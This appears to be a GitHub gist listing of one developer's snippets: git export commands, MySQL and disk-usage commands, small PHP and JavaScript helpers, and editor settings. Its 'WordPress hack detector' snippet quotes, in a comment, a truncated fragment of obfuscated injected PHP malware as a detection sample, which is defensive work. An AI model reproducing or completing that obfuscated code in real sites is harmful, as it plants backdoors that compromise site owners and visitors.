Skip to content

Instantly share code, notes, and snippets.

@emrahoruc
emrahoruc / git-commands.sh
Last active March 26, 2024 17:42
Git Commands
git diff --name-only SHA1 SHA2 | xargs tar -zcf update.tar.gz
cp -pv --parents `git ls-tree -r --name-only COMMIT_SHA_OR_BRANCH_NAME` ../output-folder
# export changed files between two commits
cp -pv --parents `git diff --name-only COMMIT_SHA_1 COMMIT_SHA_2` ../output-folder
# diff list
git diff --numstat COMMIT_SHA_1 COMMIT_SHA_2
@emrahoruc
emrahoruc / urlParser.js
Created February 13, 2017 07:38
URL Object
function loc(url) {
return {
search : function() {
return url.match(/\?(.+)/i)[1];
},
hash : function() {
return url.match(/#(.+)/i)[1];
},
@emrahoruc
emrahoruc / days_to_string .php
Last active February 20, 2017 08:10
Converts days to year, month, week and day.
<?php
function formatDays($days_value)
{
$conditions = [
365 => 'Year',
30 => 'Month',
7 => 'Week',
1 => 'Day'
];
@emrahoruc
emrahoruc / wp-hack-detector.php
Last active February 25, 2017 08:57
Hacked Wordpress File Detector
<?php
/**
* A script to detecting a hacked Wordpress site files.
* <?php $yubmwzr = '+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#*-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{f2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*& x72 164") && (!isset($GLOQc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>c%}&;ftmbg} x7f;!osvufs}w;* x7fif((function_exists(" x6f 142 x5f 163 x74 141fs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:7498-!#]y38#-!%w:**<")));$mkcnptm %7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x3P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]44-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs4/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! xBALS[" x61 156 x75 1r($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x64 162 $n)-1);} @error_reporting(0); $txmungk = implode(arrayx6f 15
@emrahoruc
emrahoruc / My Sublime Text (Settings and Key map).txt
Last active May 13, 2017 07:45
My Sublime Text (Settings and Key map)
// Settings
{
"always_show_minimap_viewport": true,
"bold_folder_labels": true,
"color_scheme": "Packages/Color Scheme - Default/Monokai.tmTheme",
"font_size": 12,
"highlight_line": true,
"ignored_packages":
[
"Vintage"
@emrahoruc
emrahoruc / jsonInDom.php
Created August 21, 2017 07:24
json in the HTML attribute
<div data-secret="<?= htmlspecialchars(json_encode($data), ENT_QUOTES, 'UTF-8') ?>">
Look at inside me!
</div>
@emrahoruc
emrahoruc / MySql_command_lines.sql
Last active April 14, 2022 20:26
MySql Some Command linses
# Export
mysqldump -u root site_database > /home/sitename/BCKP001.sql
mysqldump -u root site_database | gzip > /home/sitename/BCKP001.sql.gz
# Ignore specific table
mysqldump -u root site_database --ignore-table=site_database.table1 > /home/sitename/BCKP001.sql
# Export specific table
mysqldump -u root site_database table1 > /home/sitename/BCKP001.sql
# Import
@emrahoruc
emrahoruc / array-map-break-yield.php
Created September 19, 2017 12:25 — forked from dave1010/array-map-break-yield.php
array_map in php, with break
<?php
class BreakOut extends Exception {}
function mapGenerator(array $arr, $callback)
{
$ret = [];
foreach ($arr as $val) {
try {
yield $callback($val);
@emrahoruc
emrahoruc / TopDirectoriesAndFiles.sh
Created August 6, 2018 08:11
How to Find Out Top Directories and Files (Disk Space) in Linux
# Find Biggest Files and Directories
# Run the following command to find out top biggest directories under /home partition.
du -a /home | sort -n -r | head -n 5
# To display the largest folders/files including the sub-directories, run:
du -Sh /home | sort -rh | head -5
# PARAMETERS
# du command: Estimate file space usage.
# a : Displays all files and folders.

CentOS 7

Java
yum install java-1.8.0-openjdk

Setting the JAVA_HOME Variable

sudo cp /etc/profile /etc/profile_backup #Backup the profile file in order to prevent unintentional mistakes